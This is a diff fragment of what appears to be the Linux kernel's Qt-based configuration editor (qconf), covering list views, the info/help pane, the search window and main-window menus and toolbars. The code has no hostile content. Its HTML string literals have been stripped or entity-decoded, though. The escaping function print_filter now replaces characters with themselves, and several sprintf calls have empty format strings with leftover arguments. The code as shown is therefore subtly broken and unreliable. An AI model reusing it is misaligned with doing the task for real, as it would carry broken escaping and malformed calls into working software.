Parent(parent) +{ + connect(this, SIGNAL(lostFocus()), SLOT(hide())); +} + +void ConfigLineEdit::show(ConfigItem* i) +{ + item = i; + if (sym_get_string_value(item->menu->sym)) + setText(QString::fromLocal8Bit(sym_get_string_value(item->menu->sym))); + else + setText(QString::null); + Parent::show(); + setFocus(); +} + +void ConfigLineEdit::keyPressEvent(QKeyEvent* e) +{ + switch (e->key()) { + case Qt::Key_Escape: + break; + case Qt::Key_Return: + case Qt::Key_Enter: + sym_set_string_value(item->menu->sym, text().latin1()); + parent()->updateList(item); + break; + default: + Parent::keyPressEvent(e); + return; + } + e->accept(); + parent()->list->setFocus(); + hide(); +} + +ConfigList::ConfigList(ConfigView* p, const char *name) + : Parent(p, name), + updateAll(false), + symbolYesPix(xpm_symbol_yes), symbolModPix(xpm_symbol_mod), symbolNoPix(xpm_symbol_no), + choiceYesPix(xpm_choice_yes), choiceNoPix(xpm_choice_no), + menuPix(xpm_menu), menuInvPix(xpm_menu_inv), menuBackPix(xpm_menuback), voidPix(xpm_void), + showName(false), showRange(false), showData(false), optMode(normalOpt), + rootEntry(0), headerPopup(0) +{ + int i; + + setSorting(-1); + setRootIsDecorated(TRUE); + disabledColorGroup = palette().active(); + disabledColorGroup.setColor(QColorGroup::Text, palette().disabled().text()); + inactivedColorGroup = palette().active(); + inactivedColorGroup.setColor(QColorGroup::Highlight, palette().disabled().highlight()); + + connect(this, SIGNAL(selectionChanged(void)), + SLOT(updateSelection(void))); + + if (name) { + configSettings->beginGroup(name); + showName = configSettings->readBoolEntry("/showName", false); + showRange = configSettings->readBoolEntry("/showRange", false); + showData = configSettings->readBoolEntry("/showData", false); + optMode = (enum optionMode)configSettings->readNumEntry("/optionMode", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } + + for (i = 0; i < colNr; i++) + colMap[i] = colRevMap[i] = -1; + addColumn(promptColIdx, _("Option")); + + reinit(); +} + +bool ConfigList::menuSkip(struct menu *menu) +{ + if (optMode == normalOpt && menu_is_visible(menu)) + return false; + if (optMode == promptOpt && menu_has_prompt(menu)) + return false; + if (optMode == allOpt) + return false; + return true; +} + +void ConfigList::reinit(void) +{ + removeColumn(dataColIdx); + removeColumn(yesColIdx); + removeColumn(modColIdx); + removeColumn(noColIdx); + removeColumn(nameColIdx); + + if (showName) + addColumn(nameColIdx, _("Name")); + if (showRange) { + addColumn(noColIdx, "N"); + addColumn(modColIdx, "M"); + addColumn(yesColIdx, "Y"); + } + if (showData) + addColumn(dataColIdx, _("Value")); + + updateListAll(); +} + +void ConfigList::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showName", showName); + configSettings->writeEntry("/showRange", showRange); + configSettings->writeEntry("/showData", showData); + configSettings->writeEntry("/optionMode", (int)optMode); + configSettings->endGroup(); + } +} + +ConfigItem* ConfigList::findConfigItem(struct menu *menu) +{ + ConfigItem* item = (ConfigItem*)menu->data; + + for (; item; item = item->nextItem) { + if (this == item->listView()) + break; + } + + return item; +} + +void ConfigList::updateSelection(void) +{ + struct menu *menu; + enum prop_type type; + + ConfigItem* item = (ConfigItem*)selectedItem(); + if (!item) + return; + + menu = item->menu; + emit menuChanged(menu); + if (!menu) + return; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (mode == menuMode && type == P_MENU) + emit menuSelected(menu); +} + +void ConfigList::updateList(ConfigItem* item) +{ + ConfigItem* last = 0; + + if (!rootEntry) { + if (mode != listMode) + goto update; + Q3ListViewItemIterator it(this); + ConfigItem* item; + + for (; it.current(); ++it) { + item = (ConfigItem*)it.current(); + if (!item->menu) + continue; + item->testUpdateMenu(menu_is_visible(item->menu)); + } + return; + } + + if (rootEntry != &rootmenu && (mode == singleMode || + (mode == symbolMode && rootEntry->parent != &rootmenu))) { + item = firstChild(); + if (!item) + item = new ConfigItem(this, 0, true); + last = item; + } + if ((mode == singleMode || (mode == symbolMode && !(rootEntry->flags & MENU_ROOT))) && + rootEntry->sym && rootEntry->prompt) { + item = last ? last->nextSibling() : firstChild(); + if (!item) + item = new ConfigItem(this, last, rootEntry, true); + else + item->testUpdateMenu(true); + + updateMenuList(item, rootEntry); + triggerUpdate(); + return; + } +update: + updateMenuList(this, rootEntry); + triggerUpdate(); +} + +void ConfigList::setValue(ConfigItem* item, tristate val) +{ + struct symbol* sym; + int type; + tristate oldval; + + sym = item->menu ? item->menu->sym : 0; + if (!sym) + return; + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldval = sym_get_tristate_value(sym); + + if (!sym_set_tristate_value(sym, val)) + return; + if (oldval == no && item->menu->list) + item->setOpen(TRUE); + parent()->updateList(item); + break; + } +} + +void ConfigList::changeValue(ConfigItem* item) +{ + struct symbol* sym; + struct menu* menu; + int type, oldexpr, newexpr; + + menu = item->menu; + if (!menu) + return; + sym = menu->sym; + if (!sym) { + if (item->menu->list) + item->setOpen(!item->isOpen()); + return; + } + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldexpr = sym_get_tristate_value(sym); + newexpr = sym_toggle_tristate_value(sym); + if (item->menu->list) { + if (oldexpr == newexpr) + item->setOpen(!item->isOpen()); + else if (oldexpr == no) + item->setOpen(TRUE); + } + if (oldexpr != newexpr) + parent()->updateList(item); + break; + case S_INT: + case S_HEX: + case S_STRING: + if (colMap[dataColIdx] >= 0) + item->startRename(colMap[dataColIdx]); + else + parent()->lineEdit->show(item); + break; + } +} + +void ConfigList::setRootMenu(struct menu *menu) +{ + enum prop_type type; + + if (rootEntry == menu) + return; + type = menu && menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type != P_MENU) + return; + updateMenuList(this, 0); + rootEntry = menu; + updateListAll(); + setSelected(currentItem(), hasFocus()); + ensureItemVisible(currentItem()); +} + +void ConfigList::setParentMenu(void) +{ + ConfigItem* item; + struct menu *oldroot; + + oldroot = rootEntry; + if (rootEntry == &rootmenu) + return; + setRootMenu(menu_get_parent_menu(rootEntry->parent)); + + Q3ListViewItemIterator it(this); + for (; (item = (ConfigItem*)it.current()); it++) { + if (item->menu == oldroot) { + setCurrentItem(item); + ensureItemVisible(item); + break; + } + } +} + +/* + * update all the children of a menu entry + * removes/adds the entries from the parent widget as necessary + * + * parent: either the menu list widget or a menu entry widget + * menu: entry to be updated + */ +template +void ConfigList::updateMenuList(P* parent, struct menu* menu) +{ + struct menu* child; + ConfigItem* item; + ConfigItem* last; + bool visible; + enum prop_type type; + + if (!menu) { + while ((item = parent->firstChild())) + delete item; + return; + } + + last = parent->firstChild(); + if (last && !last->goParent) + last = 0; + for (child = menu->list; child; child = child->next) { + item = last ? last->nextSibling() : parent->firstChild(); + type = child->prompt ? child->prompt->type : P_UNKNOWN; + + switch (mode) { + case menuMode: + if (!(child->flags & MENU_ROOT)) + goto hide; + break; + case symbolMode: + if (child->flags & MENU_ROOT) + goto hide; + break; + default: + break; + } + + visible = menu_is_visible(child); + if (!menuSkip(child)) { + if (!child->sym && !child->list && !child->prompt) + continue; + if (!item || item->menu != child) + item = new ConfigItem(parent, last, child, visible); + else + item->testUpdateMenu(visible); + + if (mode == fullMode || mode == menuMode || type != P_MENU) + updateMenuList(item, child); + else + updateMenuList(item, 0); + last = item; + continue; + } + hide: + if (item && item->menu == child) { + last = parent->firstChild(); + if (last == item) + last = 0; + else while (last->nextSibling() != item) + last = last->nextSibling(); + delete item; + } + } +} + +void ConfigList::keyPressEvent(QKeyEvent* ev) +{ + Q3ListViewItem* i = currentItem(); + ConfigItem* item; + struct menu *menu; + enum prop_type type; + + if (ev->key() == Qt::Key_Escape && mode != fullMode && mode != listMode) { + emit parentSelected(); + ev->accept(); + return; + } + + if (!i) { + Parent::keyPressEvent(ev); + return; + } + item = (ConfigItem*)i; + + switch (ev->key()) { + case Qt::Key_Return: + case Qt::Key_Enter: + if (item->goParent) { + emit parentSelected(); + break; + } + menu = item->menu; + if (!menu) + break; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) { + emit menuSelected(menu); + break; + } + case Qt::Key_Space: + changeValue(item); + break; + case Qt::Key_N: + setValue(item, no); + break; + case Qt::Key_M: + setValue(item, mod); + break; + case Qt::Key_Y: + setValue(item, yes); + break; + default: + Parent::keyPressEvent(ev); + return; + } + ev->accept(); +} + +void ConfigList::contentsMousePressEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMousePressEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMousePressEvent(e); +} + +void ConfigList::contentsMouseReleaseEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + const QPixmap* pm; + int idx, x; + + if (!item) + goto skip; + + menu = item->menu; + x = header()->offset() + p.x(); + idx = colRevMap[header()->sectionAt(x)]; + switch (idx) { + case promptColIdx: + pm = item->pixmap(promptColIdx); + if (pm) { + int off = header()->sectionPos(0) + itemMargin() + + treeStepSize() * (item->depth() + (rootIsDecorated() ? 1 : 0)); + if (x >= off && x < off + pm->width()) { + if (item->goParent) { + emit parentSelected(); + break; + } else if (!menu) + break; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) + emit menuSelected(menu); + else + changeValue(item); + } + } + break; + case noColIdx: + setValue(item, no); + break; + case modColIdx: + setValue(item, mod); + break; + case yesColIdx: + setValue(item, yes); + break; + case dataColIdx: + changeValue(item); + break; + } + +skip: + //printf("contentsMouseReleaseEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseReleaseEvent(e); +} + +void ConfigList::contentsMouseMoveEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMouseMoveEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseMoveEvent(e); +} + +void ConfigList::contentsMouseDoubleClickEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + + if (!item) + goto skip; + if (item->goParent) { + emit parentSelected(); + goto skip; + } + menu = item->menu; + if (!menu) + goto skip; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && (mode == singleMode || mode == symbolMode)) + emit menuSelected(menu); + else if (menu->sym) + changeValue(item); + +skip: + //printf("contentsMouseDoubleClickEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseDoubleClickEvent(e); +} + +void ConfigList::focusInEvent(QFocusEvent *e) +{ + struct menu *menu = NULL; + + Parent::focusInEvent(e); + + ConfigItem* item = (ConfigItem *)currentItem(); + if (item) { + setSelected(item, TRUE); + menu = item->menu; + } + emit gotFocus(menu); +} + +void ConfigList::contextMenuEvent(QContextMenuEvent *e) +{ + if (e->y() <= header()->geometry().bottom()) { + if (!headerPopup) { + Q3Action *action; + + headerPopup = new Q3PopupMenu(this); + action = new Q3Action(NULL, _("Show Name"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowName(bool))); + connect(parent(), SIGNAL(showNameChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showName); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Range"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowRange(bool))); + connect(parent(), SIGNAL(showRangeChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showRange); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Data"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowData(bool))); + connect(parent(), SIGNAL(showDataChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showData); + action->addTo(headerPopup); + } + headerPopup->exec(e->globalPos()); + e->accept(); + } else + e->ignore(); +} + +ConfigView*ConfigView::viewList; +QAction *ConfigView::showNormalAction; +QAction *ConfigView::showAllAction; +QAction *ConfigView::showPromptAction; + +ConfigView::ConfigView(QWidget* parent, const char *name) + : Parent(parent, name) +{ + list = new ConfigList(this, name); + lineEdit = new ConfigLineEdit(this); + lineEdit->hide(); + + this->nextView = viewList; + viewList = this; +} + +ConfigView::~ConfigView(void) +{ + ConfigView** vp; + + for (vp = &viewList; *vp; vp = &(*vp)->nextView) { + if (*vp == this) { + *vp = nextView; + break; + } + } +} + +void ConfigView::setOptionMode(QAction *act) +{ + if (act == showNormalAction) + list->optMode = normalOpt; + else if (act == showAllAction) + list->optMode = allOpt; + else + list->optMode = promptOpt; + + list->updateListAll(); +} + +void ConfigView::setShowName(bool b) +{ + if (list->showName != b) { + list->showName = b; + list->reinit(); + emit showNameChanged(b); + } +} + +void ConfigView::setShowRange(bool b) +{ + if (list->showRange != b) { + list->showRange = b; + list->reinit(); + emit showRangeChanged(b); + } +} + +void ConfigView::setShowData(bool b) +{ + if (list->showData != b) { + list->showData = b; + list->reinit(); + emit showDataChanged(b); + } +} + +void ConfigList::setAllOpen(bool open) +{ + Q3ListViewItemIterator it(this); + + for (; it.current(); it++) + it.current()->setOpen(open); +} + +void ConfigView::updateList(ConfigItem* item) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateList(item); +} + +void ConfigView::updateListAll(void) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateListAll(); +} + +ConfigInfoView::ConfigInfoView(QWidget* parent, const char *name) + : Parent(parent, name), sym(0), _menu(0) +{ + if (name) { + configSettings->beginGroup(name); + _showDebug = configSettings->readBoolEntry("/showDebug", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigInfoView::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showDebug", showDebug()); + configSettings->endGroup(); + } +} + +void ConfigInfoView::setShowDebug(bool b) +{ + if (_showDebug != b) { + _showDebug = b; + if (_menu) + menuInfo(); + else if (sym) + symbolInfo(); + emit showDebugChanged(b); + } +} + +void ConfigInfoView::setInfo(struct menu *m) +{ + if (_menu == m) + return; + _menu = m; + sym = NULL; + if (!_menu) + clear(); + else + menuInfo(); +} + +void ConfigInfoView::symbolInfo(void) +{ + QString str; + + str += "Symbol: "; + str += print_filter(sym->name); + str += "

value: "; + str += print_filter(sym_get_string_value(sym)); + str += "
visibility: "; + str += sym->visible == yes ? "y" : sym->visible == mod ? "m" : "n"; + str += "
"; + str += debug_info(sym); + + setText(str); +} + +void ConfigInfoView::menuInfo(void) +{ + struct symbol* sym; + QString head, debug, help; + + sym = _menu->sym; + if (sym) { + if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += ""; + if (sym->name) { + head += " ("; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ")"; + } + } else if (sym->name) { + head += ""; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ""; + } + head += "

"; + + if (showDebug()) + debug = debug_info(sym); + + struct gstr help_gstr = str_new(); + menu_get_ext_help(_menu, &help_gstr); + help = print_filter(str_get(&help_gstr)); + str_free(&help_gstr); + } else if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += "

"; + if (showDebug()) { + if (_menu->prompt->visible.expr) { + debug += "  dep: "; + expr_print(_menu->prompt->visible.expr, expr_print_help, &debug, E_NONE); + debug += "

"; + } + } + } + if (showDebug()) + debug += QString().sprintf("defined at %s:%d

", _menu->file->name, _menu->lineno); + + setText(head + debug + help); +} + +QString ConfigInfoView::debug_info(struct symbol *sym) +{ + QString debug; + + debug += "type: "; + debug += print_filter(sym_type_name(sym->type)); + if (sym_is_choice(sym)) + debug += " (choice)"; + debug += "
"; + if (sym->rev_dep.expr) { + debug += "reverse dep: "; + expr_print(sym->rev_dep.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + for (struct property *prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_PROMPT: + case P_MENU: + debug += QString().sprintf("prompt: ", prop->menu); + debug += print_filter(_(prop->text)); + debug += "
"; + break; + case P_DEFAULT: + case P_SELECT: + case P_RANGE: + case P_ENV: + debug += prop_get_type_name(prop->type); + debug += ": "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + break; + case P_CHOICE: + if (sym_is_choice(sym)) { + debug += "choice: "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + break; + default: + debug += "unknown property: "; + debug += prop_get_type_name(prop->type); + debug += "
"; + } + if (prop->visible.expr) { + debug += "    dep: "; + expr_print(prop->visible.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + } + debug += "
"; + + return debug; +} + +QString ConfigInfoView::print_filter(const QString &str) +{ + QRegExp re("[<>&\"\\n]"); + QString res = str; + for (int i = 0; (i = res.find(re, i)) >= 0;) { + switch (res[i].latin1()) { + case '<': + res.replace(i, 1, "<"); + i += 4; + break; + case '>': + res.replace(i, 1, ">"); + i += 4; + break; + case '&': + res.replace(i, 1, "&"); + i += 5; + break; + case '"': + res.replace(i, 1, """); + i += 6; + break; + case '\n': + res.replace(i, 1, "
"); + i += 4; + break; + } + } + return res; +} + +void ConfigInfoView::expr_print_help(void *data, struct symbol *sym, const char *str) +{ + QString* text = reinterpret_cast(data); + QString str2 = print_filter(str); + + if (sym && sym->name && !(sym->flags & SYMBOL_CONST)) { + *text += QString().sprintf("", sym); + *text += str2; + *text += ""; + } else + *text += str2; +} + +Q3PopupMenu* ConfigInfoView::createPopupMenu(const QPoint& pos) +{ + Q3PopupMenu* popup = Parent::createPopupMenu(pos); + Q3Action* action = new Q3Action(NULL, _("Show Debug Info"), 0, popup); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), SLOT(setShowDebug(bool))); + connect(this, SIGNAL(showDebugChanged(bool)), action, SLOT(setOn(bool))); + action->setOn(showDebug()); + popup->insertSeparator(); + action->addTo(popup); + return popup; +} + +void ConfigInfoView::contentsContextMenuEvent(QContextMenuEvent *e) +{ + Parent::contentsContextMenuEvent(e); +} + +ConfigSearchWindow::ConfigSearchWindow(ConfigMainWindow* parent, const char *name) + : Parent(parent, name), result(NULL) +{ + setCaption("Search Config"); + + QVBoxLayout* layout1 = new QVBoxLayout(this, 11, 6); + QHBoxLayout* layout2 = new QHBoxLayout(0, 0, 6); + layout2->addWidget(new QLabel(_("Find:"), this)); + editField = new QLineEdit(this); + connect(editField, SIGNAL(returnPressed()), SLOT(search())); + layout2->addWidget(editField); + searchButton = new QPushButton(_("Search"), this); + searchButton->setAutoDefault(FALSE); + connect(searchButton, SIGNAL(clicked()), SLOT(search())); + layout2->addWidget(searchButton); + layout1->addLayout(layout2); + + split = new QSplitter(this); + split->setOrientation(Qt::Vertical); + list = new ConfigView(split, name); + list->list->mode = listMode; + info = new ConfigInfoView(split, name); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + info, SLOT(setInfo(struct menu *))); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + parent, SLOT(setMenuLink(struct menu *))); + + layout1->addWidget(split); + + if (name) { + int x, y, width, height; + bool ok; + + configSettings->beginGroup(name); + width = configSettings->readNumEntry("/window width", parent->width() / 2); + height = configSettings->readNumEntry("/window height", parent->height() / 2); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + Q3ValueList sizes = configSettings->readSizes("/split", &ok); + if (ok) + split->setSizes(sizes); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigSearchWindow::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + configSettings->writeSizes("/split", split->sizes()); + configSettings->endGroup(); + } +} + +void ConfigSearchWindow::search(void) +{ + struct symbol **p; + struct property *prop; + ConfigItem *lastItem = NULL; + + free(result); + list->list->clear(); + info->clear(); + + result = sym_re_search(editField->text().latin1()); + if (!result) + return; + for (p = result; *p; p++) { + for_all_prompts((*p), prop) + lastItem = new ConfigItem(list->list, lastItem, prop->menu, + menu_is_visible(prop->menu)); + } +} + +/* + * Construct the complete config widget + */ +ConfigMainWindow::ConfigMainWindow(void) + : searchWindow(0) +{ + QMenuBar* menu; + bool ok; + int x, y, width, height; + char title[256]; + + QDesktopWidget *d = configApp->desktop(); + snprintf(title, sizeof(title), "%s%s", + rootmenu.prompt->text, +#if QT_VERSION < 0x040000 + " (Qt3)" +#else + "" +#endif + ); + setCaption(title); + + width = configSettings->readNumEntry("/window width", d->width() - 64); + height = configSettings->readNumEntry("/window height", d->height() - 64); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + + split1 = new QSplitter(this); + split1->setOrientation(Qt::Horizontal); + setCentralWidget(split1); + + menuView = new ConfigView(split1, "menu"); + menuList = menuView->list; + + split2 = new QSplitter(split1); + split2->setOrientation(Qt::Vertical); + + // create config tree + configView = new ConfigView(split2, "config"); + configList = configView->list; + + helpText = new ConfigInfoView(split2, "help"); + helpText->setTextFormat(Qt::RichText); + + setTabOrder(configList, helpText); + configList->setFocus(); + + menu = menuBar(); + toolBar = new Q3ToolBar("Tools", this); + + backAction = new Q3Action("Back", QPixmap(xpm_back), _("Back"), 0, this); + connect(backAction, SIGNAL(activated()), SLOT(goBack())); + backAction->setEnabled(FALSE); + Q3Action *quitAction = new Q3Action("Quit", _("&Quit"), Qt::CTRL + Qt::Key_Q, this); + connect(quitAction, SIGNAL(activated()), SLOT(close())); + Q3Action *loadAction = new Q3Action("Load", QPixmap(xpm_load), _("&Load"), Qt::CTRL + Qt::Key_L, this); + connect(loadAction, SIGNAL(activated()), SLOT(loadConfig())); + saveAction = new Q3Action("Save", QPixmap(xpm_save), _("&Save"), Qt::CTRL + Qt::Key_S, this); + connect(saveAction, SIGNAL(activated()), SLOT(saveConfig())); + conf_set_changed_callback(conf_changed); + // Set saveAction's initial state + conf_changed(); + Q3Action *saveAsAction = new Q3Action("Save As...", _("Save &As..."), 0, this); + connect(saveAsAction, SIGNAL(activated()), SLOT(saveConfigAs())); + Q3Action *searchAction = new Q3Action("Find", _("&Find"), Qt::CTRL + Qt::Key_F, this); + connect(searchAction, SIGNAL(activated()), SLOT(searchConfig())); + Q3Action *singleViewAction = new Q3Action("Single View", QPixmap(xpm_single_view), _("Single View"), 0, this); + connect(singleViewAction, SIGNAL(activated()), SLOT(showSingleView())); + Q3Action *splitViewAction = new Q3Action("Split View", QPixmap(xpm_split_view), _("Split View"), 0, this); + connect(splitViewAction, SIGNAL(activated()), SLOT(showSplitView())); + Q3Action *fullViewAction = new Q3Action("Full View", QPixmap(xpm_tree_view), _("Full View"), 0, this); + connect(fullViewAction, SIGNAL(activated()), SLOT(showFullView())); + + Q3Action *showNameAction = new Q3Action(NULL, _("Show Name"), 0, this); + showNameAction->setToggleAction(TRUE); + connect(showNameAction, SIGNAL(toggled(bool)), configView, SLOT(setShowName(bool))); + connect(configView, SIGNAL(showNameChanged(bool)), showNameAction, SLOT(setOn(bool))); + showNameAction->setOn(configView->showName()); + Q3Action *showRangeAction = new Q3Action(NULL, _("Show Range"), 0, this); + showRangeAction->setToggleAction(TRUE); + connect(showRangeAction, SIGNAL(toggled(bool)), configView, SLOT(setShowRange(bool))); + connect(configView, SIGNAL(showRangeChanged(bool)), showRangeAction, SLOT(setOn(bool))); + showRangeAction->setOn(configList->showRange); + Q3Action *showDataAction = new Q3Action(NULL, _("Show Data"), 0, this); + showDataAction->setToggleAction(TRUE); + connect(showDataAction, SIGNAL(toggled(bool)), configView, SLOT(setShowData(bool))); + connect(configView, SIGNAL(showDataChanged(bool)), showDataAction, SLOT(setOn(bool))); + showDataAction->setOn(configList->showData); + + QActionGroup *optGroup = new QActionGroup(this); + optGroup->setExclusive(TRUE); + connect(optGroup, SIGNAL(selected(QAction *)), configView, + SLOT(setOptionMode(QAction *))); + connect(optGroup, SIGNAL(selected(QAction *)), menuView, + SLOT(setOptionMode(QAction *))); + +#if QT_VERSION >= 0x040000 + configView->showNormalAction = new QAction(_("Show Normal Options"), optGroup); + configView->showAllAction = new QAction(_("Show All Options"), optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), optGroup); +#else + configView->showNormalAction = new QAction(_("Show Normal Options"), 0, optGroup); + configView->showAllAction = new QAction(_("Show All Options"), 0, optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), 0, optGroup); +#endif + configView->showNormalAction->setToggleAction(TRUE); + configView->showNormalAction->setOn(configList->optMode == normalOpt); + configView->showAllAction->setToggleAction(TRUE); + configView->showAllAction->setOn(configList->optMode == allOpt); + configView->showPromptAction->setToggleAction(TRUE); + configView->showPromptAction->setOn(configList->optMode == promptOpt); + + Q3Action *showDebugAction = new Q3Action(NULL, _("Show Debug Info"), 0, this); + showDebugAction->setToggleAction(TRUE); + connect(showDebugAction, SIGNAL(toggled(bool)), helpText, SLOT(setShowDebug(bool))); + connect(helpText, SIGNAL(showDebugChanged(bool)), showDebugAction, SLOT(setOn(bool))); + showDebugAction->setOn(helpText->showDebug()); + + Q3Action *showIntroAction = new Q3Action(NULL, _("Introduction"), 0, this); + connect(showIntroAction, SIGNAL(activated()), SLOT(showIntro())); + Q3Action *showAboutAction = new Q3Action(NULL, _("About"), 0, this); + connect(showAboutAction, SIGNAL(activated()), SLOT(showAbout())); + + // init tool bar + backAction->addTo(toolBar); + toolBar->addSeparator(); + loadAction->addTo(toolBar); + saveAction->addTo(toolBar); + toolBar->addSeparator(); + singleViewAction->addTo(toolBar); + splitViewAction->addTo(toolBar); + fullViewAction->addTo(toolBar); + + // create config menu + Q3PopupMenu* config = new Q3PopupMenu(this); + menu->insertItem(_("&File"), config); + loadAction->addTo(config); + saveAction->addTo(config); + saveAsAction->addTo(config); + config->insertSeparator(); + quitAction->addTo(config); + + // create edit menu + Q3PopupMenu* editMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Edit"), editMenu); + searchAction->addTo(editMenu); + + // create options menu + Q3PopupMenu* optionMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Option"), optionMenu); + showNameAction->addTo(optionMenu); + showRangeAction->addTo(optionMenu); + showDataAction->addTo(optionMenu); + optionMenu->insertSeparator(); + optGroup->addTo(optionMenu); + optionMenu->insertSeparator(); + + // create help menu + Q3PopupMenu* helpMenu = new Q3PopupMenu(this); + menu->insertSeparator(); + menu->insertItem(_("&Help"), helpMenu); + showIntroAction->addTo(helpMenu); + showAboutAction->addTo(helpMenu); + + connect(configList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(configList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + connect(configList, SIGNAL(parentSelected()), + SLOT(goBack())); + connect(menuList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + + connect(configList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + SLOT(listFocusChanged(void))); + connect(helpText, SIGNAL(menuSelected(struct menu *)), + SLOT(setMenuLink(struct menu *))); + + QString listMode = configSettings->readEntry("/listMode", "symbol"); + if (listMode == "single") + showSingleView(); + else if (listMode == "full") + showFullView(); + else /*if (listMode == "split")*/ + showSplitView(); + + // UI setup done, restore splitter positions + Q3ValueList sizes = configSettings->readSizes("/split1", &ok); + if (ok) + split1->setSizes(sizes); + + sizes = configSettings->readSizes("/split2", &ok); + if (ok) + split2->setSizes(sizes); +} + +void ConfigMainWindow::loadConfig(void) +{ + QString s = Q3FileDialog::getOpenFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + if (conf_read(QFile::encodeName(s))) + QMessageBox::information(this, "qconf", _("Unable to load configuration!")); + ConfigView::updateListAll(); +} + +bool ConfigMainWindow::saveConfig(void) +{ + if (conf_write(NULL)) { + QMessageBox::information(this, "qconf", _("Unable to save configuration!")); + return false; + } + return true; +} + +void ConfigMainWindow::saveConfigAs(void) +{ + QString s = Q3FileDialog::getSaveFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + saveConfig(); +} + +void ConfigMainWindow::searchConfig(void) +{ + if (!searchWindow) + searchWindow = new ConfigSearchWindow(this, "search"); + searchWindow->show(); +} + +void ConfigMainWindow::changeMenu(struct menu *menu) +{ + configList->setRootMenu(menu); + if (configList->rootEntry->parent == &rootmenu) + backAction->setEnabled(FALSE); + else + backAction->setEnabled(TRUE); +} + +void ConfigMainWindow::setMenuLink(struct menu *menu) +{ + struct menu *parent; + ConfigList* list = NULL; + ConfigItem* item; + + if (configList->menuSkip(menu)) + return; + + switch (configList->mode) { + case singleMode: + list = configList; + parent = menu_get_parent_menu(menu); + if (!parent) + return; + list->setRootMenu(parent); + break; + case symbolMode: + if (menu->flags & MENU_ROOT) { + configList->setRootMenu(menu); + configList->clearSelection(); + list = menuList; + } else { + list = configList; + parent = 